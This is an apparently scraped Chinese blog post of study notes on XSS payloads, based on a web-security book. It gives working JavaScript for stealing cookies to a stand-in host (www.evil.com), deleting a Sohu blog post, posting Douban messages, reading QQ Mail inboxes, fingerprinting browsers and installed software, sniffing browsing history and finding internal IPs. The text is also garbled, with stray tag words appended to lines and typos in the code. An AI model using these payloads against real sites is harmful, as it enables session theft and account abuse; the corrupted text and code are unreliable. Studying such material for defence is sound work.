XSS Payload知识备忘

参考资料:《白帽子讲Web安全》吴翰清 著javascript

 

参见:html

百度百科 http://baike.baidu.com/view/50325.htmjava

维基百科 http://zh.wikipedia.org/zh-cn/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BCweb

 

本文地址:博客园 http://www.cnblogs.com/go2bed/p/4136358.html ajax

含义:

XSS 攻击成功后,攻击者可以对用户当前浏览的页面植入恶意脚本,经过恶意脚本,控制用户的浏览器。这些用以完成各类具体功能的恶意脚本,被称为“XSS PayLoad”。chrome

 

用法:

Cookie 劫持攻击

攻击者先加载一个远程脚本:浏览器

http://www.a.com/test.htm?abc="><script scr=http://www.evil.com/evil.js ></script>安全

真正的XSS Payload如今这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。服务器

在evil.js中,能够经过以下代码窃取Cookie:cookie

var img=document.createElement("img");

 img.src="http://www.evil.com/log?"+escape(document.cookie);

document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象做为参数发送到远程服务器。

事实上,http://www.evil.com/log并不必定要存在,由于这个请求会在远程服务器的Web日志中留下记录。

这样就完成了一个最简单的窃取Cookie的XSS Payload。

黑客能够用这个Cookie直接登陆。

 

防止方法: Cookie的“HttpOnly"标识能够防止"Cookie劫持"。

 

构造模拟GET和POST请求操做用户的浏览器

删除Sohu博客上的一篇文章

例如在Sohu上有一篇文章, 想经过XSS删除它,该如何作呢?

假设Sohu博客所在域的某页面存在XSS漏洞,那么经过JavaScript,这个过程以下:

正常删除该文章的连接是:

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

对于攻击者来讲,只须要直到文章的id,就可以经过这个请求删除这篇文章了。

攻击者能够经过插入一张图片来发起一个get请求:

 

var img=document.createElement("img");

img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";

document.body.appendChild(img);

 

攻击者只须要让博客的做者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将经过XSS诱使用户执行XSS Payload。

 

POST表单(Form)在Douban上发送消息

若是表单参数不少的话,经过构造DOM的方式,代码将会很冗长。因此能够直接写HTML代码:

var dd=document.createElement("div");

document.body.appendChild(dd);

dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+

   '<input type="hidden" name="ck" value="JiuY" />'+

   '<input type="hidden" name="mb_text" value="testetst" />' +

   '</form'

 

document.getElementById("xssform").submit();

 

或者:

经过XMLHttpRequest发送一个POST请求:

var url="http://www.douban.com";

var postStr="ck=JiuY&mb_text=test1234";

var ajax=null;

if (window.XMLHttpRequest){

  ajax=new XMLHttpRequest();

} else if (window.ActiveXObject){

  ajax=new ActiveXObject("Microsoft.XMLHTTP");

} else {

  return;

}

 

ajax.open("POST",url,true);

ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

ajax.send(postStr);

 

ajax.onreadystatechange=function(){

  if (ajax.readyState==4 && ajax.status==200){

   alert("Done");

  }

}

 

经过XSS Payload读取QMail用户的邮件文件夹

经过抓包并分析发现:点击收件箱后,真正能访问到邮件列表的连接是:

http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx...

 

这里有一个没法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。

因此XSS Payload的思路是先获取到sid的值,而后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能获得邮件列表了。XSS Payload以下:

if (top.window.location.href.indexOf("sid=")>0){

  var sid=top.window..location.href.substr(top.window.location.href.indexOf("sid=")+4,24);

}

 

var folder_url="http://"+top.window.location.host+"/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid="+sid;

 

var ajax=null;

if (window.XMLHttpRequest){

  ajax=new XMLHttpRequest();

} else if (window.ActiveXObject){

  ajax=new ActiveXObject("Microsoft.XMLHTTP");

} else {

  return;

}

 

ajax.open("GET",folder_url,true);

ajax.send(null);

 

ajax.onreadystatechange=function(){

  if (ajax.readyState==4 && ajax.status==200){

   alert(ajax.responseText);

    //document.write(ajax.responseText);

  }

}

 

邮件列表的内容成功被XSS Payload获取到。

 

XSS钓鱼

XSS并不是万能。前面的例子都是Javascript脚本,缺乏"与用户的交互",碰到验证码,和修改密码时须要输入旧密码,XSS Payload就会失效。

对于验证码,XSS Payload能够读取页面的内容,将验证码的图片URL发送到远程服务器上来实施--攻击者能够在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。

修改密码的问题比较复杂,为了窃取密码,攻击者能够将XSS与"钓鱼"结合。

实现思路很简单:利用Javascript在当前页面上"画出"一个伪造的登陆框,当用户在登陆框中输入用户名和密码后,其密码将被发送到黑客的服务器上。

 

识别用户浏览器

直接读取浏览器的UserAgent对象:

alert(navigator.userAgent);

可是userAgent是能够伪造的。这个信息不必定准确。

因为浏览器之间的实现存在差别,利用这种差别分辨浏览器几乎不会错误。

参考:

if (window.ActiveObject){ //MSIE 6.0 or below

 

  //判断是否IE 7以上

  if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined"){

     if (typeof document.adoptNode!="undefined") { //Safari 3 & FF & Opera & Chrome & IE8

        //MSIE 8.0

     }

    //MSIE 7.0

  }

  return "msie"; //MSIE6.0

}  else if { typeof window.opera!="undefined") { //Opera独占

  return "opera";

} else if (typeof window.netscape!="undefined"){ //Mozilla独占

  if (typeof window.Iterator !="undefined") {

    //Firefox 2.0以上支持这个对象

    if (typeof document.styleSheetSets!="undefined"){ //FireFox 3 & Opera 9

      //Firefox 3

    }

    //Firefox 2.0

  }

  return "mozilla";

} else if (typeof window.pageXOffset!="undefined"){ //Mozilla & Safari

  try {

    if (typeof external.AddSearchProvider!="undefined"){  //Firefox & Google Chrome

      return "Chrome";

     }

  } catch (e) {

    return "safari";

  }

} else { //unknown

 return "unknown";

}

 

安全研究者Gareth Heyes曾经找到一种更巧妙的方法,经过很精简的代码,便可识别出不一样的浏览器。并可精简为一行代码。

详见 《白帽子讲Web安全》一书。

 

识别用户安装的软件

在IE中,能够经过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击"--黑客经过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

看以下代码:

try {

  var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');

} catch (e){

  //异常了,不存在该控件

}

经过收集常见软件的classid,就能够扫描出用户电脑中安装的软件列表,甚至包括软件的版本。

一些第三方软件也可能会泄漏一些信息。好比Flash有一个system.capabilities对象,可以查询客户端电脑中的硬件信息。

在XSS Payload中,能够在Flash的ActionScript中读取system.capabilities对象后,将结果经过ExternalInterface传给页面的javascript。

 

浏览器的扩展和插件也能被XSS Payload扫描出来。好比对于Firefox的插件和扩展,有着不一样的检测方法。

 

Firefox的插件(Plugins)列表存放在一个DOM对象中,经过查询DOM能够遍历出全部的插件:

因此直接查询"navigator.plugins"对象,就能找到全部的插件了。例如 navigator.plugins[0]

 

而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:经过检测扩展的图标,来判断某个特定的扩展是否存在。

在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标能够经过这个协议被访问到。好比Flash Got扩展的图标,能够这样访问:

chrome://flashgot/skin/icon32.png

扫描Chrome扩展时,只需在Javascript中加载这张图片,若是加载成功,则扩展存在;反之,扩展就不存在。

var m=new Image();

m.onload=function(){

  alert(1);//图片存在

};

m.onerror=function(){

 alert(2);//图片不存在

};

m.src="chrome://flashgot/skin/icon32.png"; //链接图片

 

CSS History Hack:

咱们再看看另一个有趣的XSS Payload---经过CSS,来发现一个用户曾经访问过的网站。

原理是利用style的visited属性---若是用户曾经访问过某个连接,那么这个连接的颜色会变得不同凡响。

<script>

var websites=[ ... 要检测的访问过的网址列表,可能有几千个...];

//遍历每一个URL

for (var i=0;i<websites.length:i++){

  var link=document.createElement("a");

  link.id="id"+i;

  link.href=websites[i];

  link.innerHTML=websites[i];

 

  document.write('<style>');

  document.write('#id'+i+":visited {color:#FF0000;}");

  document.write('</style>');

 

  document.body.appendChild(link);

  var color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");

  document.body.removeChild(link);

 

  if (color=="rgb(255,0,0)") { //visited

   var item=document.createElement('li');

   item.appendChild(link);

   document.getElementById('visited').appendChild(item);

 } else { //Not visited

   var item=document.createElement('li');

   item.appendChild(link);

   document.getElementById('notvisited').appendChild(item);

 }

}

</script>

 

可是Firefox已经在2010年3月决定修补这个问题。

 

获取用户的真实IP地址:

不少时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。

javascript自己并无获取本地IP地址的能力。通常须要第三方软件来完成。好比,客户端安装了Java环境(JRE),那么XSS就能够经过调用Java Applet的接口获取客户端的本地IP地址。

 

在XSS攻击框架"Attack API"中,就有一个获取本地IP地址的API:

AttackAPI.dom.getInternalIP=function(){

 try {

   var sock=new java.net.Socket();

   sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));

   sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port));

   return sock.getLocalAddress().getHostAddress();

 } catch (e) {}

 return '127.0.0.1';

};

 

此外,还有两个利用Java获取本地网络信息的API。

详见 《白帽子讲Web安全》一书。

相关文章
相关标签/搜索